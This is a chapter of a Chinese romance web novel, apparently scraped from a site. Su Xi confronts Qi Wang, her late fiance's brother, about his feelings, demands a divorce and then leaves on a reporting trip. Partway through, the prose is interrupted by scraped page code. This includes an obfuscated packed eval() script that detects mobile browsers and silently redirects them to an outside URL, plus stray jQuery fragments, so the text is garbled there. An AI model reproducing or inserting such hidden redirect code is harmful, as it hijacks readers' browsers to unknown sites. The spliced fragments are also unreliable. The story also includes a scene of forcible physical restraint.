见苏溪靠近，戚妄站在客厅，直到苏溪拉开餐桌前的一张椅子坐下，并朝他望来，说，“坐。”


    戚妄在对面坐下。


    苏溪说，“今天白天我给余洸打了个电话，问了关于你私生粉的事。”


    戚妄回，“嗯，他和我说了。”


    苏溪，“所以，你骗了我对吗？”


    戚妄，“对。”


    苏溪点了下头，视线就此落在面前餐桌上。


    “你既然知道了，为什么还要多问这一句？”


    戚妄看着苏溪，问。


    “因为我不想误会你。”


    苏溪抬头，“我宁愿多问一句，所以也希望别人能多说一句，你明白吗？”


    桌下，戚妄的手指微动，“可如果当时我多说了，你真的会愿意让我住进来？”


    “不会。”苏溪说得很肯定，没有任何犹豫。


    “戚妄，我有件事不太明白，你能老实告诉我吗？”苏溪问。


    “你说。”


    “你在对我做完这些，说完这些以后，有想过我们的结局会在哪吗？”


    “嗯。”


    苏溪深深吸了口气，拒绝再看他，“你搬出去吧。”


    戚妄沉默几秒，“如果我不搬呢。”


    苏溪面色瞬间冷了下去。


    戚妄笑了下，笑容说不出的寂寥，“刚来你这里的时候，你问过我知不知道《故事里》，我说我知道，但你一定不知道，我是怎么知道的，又是从什么时候开始知道的。”


    苏溪没说话。


    戚妄继续，“我哥刚上高中没多久，那段时间，我突然发现他经常提到一个女生的名字，说了很多关于她的事情，他自己应该都没发现。”


    在这个时间提到戚程，苏溪有片刻怔愣。


    “我记得那天他回家和我说，同班有个很有意思的女同学，和他喜欢同一本杂志《故事里》，那个时候我觉得他一定是在暗恋这位女同学，就算不到喜欢的程度，也一定悄悄动心了。”


    “果然，没多久他带你来见我。”


    戚妄说到这里，停住，那双看苏溪的眼睛，慢慢地变得通红，“可是你知道吗？”


    “第一次见你，我先看到的是你。然后才是哥哥的女友。”


    “别说了！”


    苏溪终于听不下去了，闭上眼睛颤抖压抑着声音喊，“我是你哥的女友，如果没有那个意外，我甚至是你嫂嫂，你怎么可以……对我抱有这样的想法？”


    “是！”戚妄浑身绷紧，“我也唾弃自己，我放弃过的！”


    苏溪怔色，视野中，戚妄眼角通红，布满血丝，视线却紧紧盯着她，肩膀塌陷，因克制在微微颤抖，仿佛用尽了全部的力气。


    他的声音嘶哑极了，却又很轻，及尽脆弱。


    “可当时的你比我更痛苦，我……舍不得。”


    苏溪呼吸急促，颤抖，往事如海水倒灌。


    她和戚程已经定了婚期，就在那个暑假，只要旅行结束，就是婚礼。


    他们可以延续往日甜蜜平常的时光，幻想未来种种，甚至孩子的性别，要生几个。


    可是——


    她回去了，戚程却没能回去。


    戚程死后，她的痛苦，她的绝望，撕心裂肺。她从来不敢和亲朋提起，提多了，他们也会嫌烦的，提少了，他们又害怕她想不开。


    人要怎样在身体被割离一半还继续活下去？


    没有人比她更清楚。


    忍，就好了。


    就当戚程还活着。


    苏溪控制着音调，声音沙哑，“我们离婚吧。”


    戚妄巨震。


    “明天——”苏溪，“不，现在就去。”


    “不。”戚妄，“我不同意。”


    苏溪冷漠地看着他，“我不接受你的拒绝。”


    苏溪去房间取结婚证，一出来就看到杵在门口的戚妄，“你的呢，去拿。”


    戚妄没动。


    苏溪，“戚妄，我不想说第二遍。”


    戚妄低声说，“6点了。”


    苏溪，“所以呢？”


    戚妄，“民政局下班了。”


    苏溪顿住，手上的红本像个笑话一样在提醒她。


    “……苏溪。”戚妄轻声问，“去露营那天，你说要把路虎卫士给我，我没要。你答应我的，下次我想要什么，你会给我的。”


    “这次，就现在，你答应我好不好。”


    苏溪觉得空气都开始变得稀薄，不然为什么胸口会这么痛？


    “我记得你以前很讨厌我。”


    戚妄，“不，我从来没有讨厌过你。”


    苏溪合上眼睑，“算了，我不想把话说得更难听。”


    话音微顿，她重新睁开眼睛，“民政局明天去也行，你现在去拿行李，搬出去。”


    戚妄没动。


    见状，苏溪冷漠地笑了下。她退后，退回到自己卧室里，打开衣柜开始拿衣服。


    戚妄立刻踏进房间，抓住苏溪的手。


    “松开！”


    苏溪冷声呵斥。


    手腕被戚妄紧紧抓着，见苏溪挣扎，直接抓住她另一只手，抵在柜门上，将她圈在衣柜和他中间，坚硬的胸膛抵着她的胸口。


    苏溪进退两难，双手被抓得生疼，根本就挣脱不开，她从没觉得戚妄力气这么大过。


    呼吸急喘，胸口起伏，她能感受到每一次起伏时，胸口撞在戚妄身上。


    可就算这样，抓在她腕上的手也没一点放松，抵住她身体的胸膛也没一点离开的迹象。


    苏溪抬眸，眼神冰冷。


    “你这样真是让我觉得恶心。”


    戚妄怔住，震惊地看着这双充满厌恶的眼睛，慢慢松开了手，退开身体。


    他低下头，视线胡乱看着地面某处。


    就在几天前，余洸还问过他，‘戚妄，你怕吗？’


    在将来，被多数人知道后，也许会被谩骂，会面对诸多鄙夷。


    甚至这些，都来自苏溪本人。


    你怕吗？


    想到这里，戚妄终于低低笑出了声。


    怕。


    怎么会不怕呢？


    这双充满厌恶的眼睛，就像一把刀子。他曾幻想过无数次落刀的瞬间，想着或许它不会太痛，毕竟苏溪从来没对他说过一句重话。


    可是今天，刀落了。


    没有一点迟疑。


    “我知道了，我会离开。”戚妄说。


    苏溪整理衣服的手停住，却没看他。


    静谧的房间里，戚妄站了许久，安静地看着苏溪的侧脸，“我今天既然说了，做了，那就是认真的。”


    无人应答。


    “你别生气，我先走了。”


    戚妄说完，卧室门被轻轻带上。


    过了会儿，隐约有行李箱滚轮的声音传进卧室，连同脚步声越来越远。


    整个室内安静极了。许久，电子门的声音才响起，然后被带上。


    苏溪静默地望着墙壁，隔空看那道电子门。


    她不想去想这段几乎凝滞的时间里，戚妄为什么没有第一时间出门离开，也不想去想戚妄站在大门口的样子。


    苏溪打开卧室门出去，室内室外，同样静谧无声。


    转身去了洗手间，照常洗漱。正要刷牙，视线扫到了杯子旁边和她同款的牙刷和牙刷杯。


    苏溪怔在原地，久久没有动。


    /


    一早，苏溪开车赶到电台，设备间里人头攒动，她找到话筒就去了自己的更衣室，拿出角落的行李箱，将这次出差的东西都备好。


    两个小时后，飞机在常海落地，苏溪跟随团队赶往此次目的地。


    指定拍摄区域已经先到了一批人，许多媒体同行，镜头都对准同一个地方。苏溪整理了下西装，等待直播。


    ……


    一个小时后，苏溪坐在专车上，跟着团队开始下一个拍摄行程点。


    到了馆场，她和所有人一样，静等安检。不算宽敞的走道，被她们这群媒体人挤得满满当当。


    直到三个小时后，采访结束。静谧的馆场因主角的离开，终于有了浅浅的噪音。


    “我好饿。”身边的同事捂着肚子一脸苦相地喊。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14856645|157190||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    “我也好饿，先找个地方吃饭吧。”


    “比起饿，我更加困。”


    这话一出，整个拍摄团队都安静了。


    “苏老师，你怎么说？”大家齐齐看向苏溪。


    接受到视线，苏溪想了想说，“回酒店吧，吃得，睡得，都有。”


    几乎全票通过。


    前往酒店的这段路，一行人坐在车里，就差没睡死过去，幸好司机不用跟着采访，没有疲劳驾驶的迹象。


    苏溪靠在座椅上昏昏欲睡，忽然小腿猛地一抽，连着脚底板，她整个人都清醒了。站了6个小时，腿抽筋了。她弯腰揉搓小腿肚，过了好久抽痛感才下去。


    等重新靠在椅背上，昏睡感早就没了。


    视线转向窗外倒退的风景。


    常海，离江陵差不多三百公里，不算远也不算近，街景倒很是相似。


    到了酒店，各自的行李早已被送到对应的房间，他们只要放好设备直接去食堂就行。


    肚子早就饿了，但苏溪没敢吃太猛，先喝了点小米粥，然后又吃了几个酒店特供的点心，感觉把今天消耗的力气都补回来了，才停嘴。


    回了房间，洗漱完出来，苏溪随手打开电视。


    终于，安静的空间有了别的声音。


    苏溪坐在床沿，用手拨弄被吹风机弄乱的头发，忽然手机震动，她拿起看了眼，是许淼淼发过来的，关于《故事里》第五期的采访嘉宾。


    流浪之家。


    发来的内容很详细，还附带着流浪之家的主页和网页链接。流浪的猫猫狗狗，开心地对着镜头，背后是草地和房子。


    底下有一句很‘嚣张’的简语：【没错，这是广告[表情]。您如过有收养或赞助的想法，随时欢迎大家电联。】


    苏溪拨弄头发的手顿时停住。


    ——“方便聊下您建立Hope的初衷吗？”那天，作为《故事里》主持人，她去采访第二期嘉宾。


    “不是什么很伟大的初衷，我们官网有一个流浪之家的链接，进去可以看到那些动物的情况。如果有收养或赞助的想法，随时欢迎大家电联。”


    “这是……打广告？”她当时很惊讶。


    被采访的人却毫不掩饰，“是的。”


    清冽的男声，包括他那双固执又认真的眼睛。他似乎从不屑去说谎，就连算计，他也是直言坦荡。


    ——“苏溪，我不是戚程，我是戚妄。”


    “抱歉，我喝多了，认错了人。”


    “我知道，但是我没认错，我只是做了我一直想做的事。”


    “你疯了？！”


    “我是认真的，从第一眼开始。”


    “你知道吗？第一次见你，我先看到的，是你。然后才是哥哥的女友。”


    苏溪拨弄头发的手彻底垂下，落在膝盖上。


    坦荡么。


    苏溪给许淼淼发去消息：【怎么会想到做这个题材？】


    许淼淼回得很快：【是杨导提议的，我们也觉得很合适，所以就直接发给你看看呢。】


    苏溪看着屏幕上这串文字，忽然觉得自己还挺可笑。因为她一开始想得是，会不会是戚妄故意对许淼淼提起流浪之家，所以他们才会有这个题材想法，戚妄好借此机会接近她。


    事实证明，她想错了。


    她不坦荡，也不冷静，她在逃避，所以才会在和戚妄闹矛盾的第二天，接到外出采访任务的第一时间就决定下来。


    指腹敲击屏幕：【这个采访挺好的，你们先做材料吧，我明天回去。】


    【好的。】


    抛却戚妄这个‘问题’，流浪之家是很不错的采访对象。本身在第二期已经露过面，所以自带热度，而流浪动物本身也足够被关注，她以前也动过做这个题材的念头。


    退出微信，苏溪翻出通讯录，看着屏幕上‘戚妄’二字。


    如果不是他主动剖开自己，她可能永远不会发现。


    他的坦言没有错，她此刻的逃避也同样没错。她只是有点难过，难过不知道该怎么处理这个情况。


    既不伤害自己，又不伤害戚妄。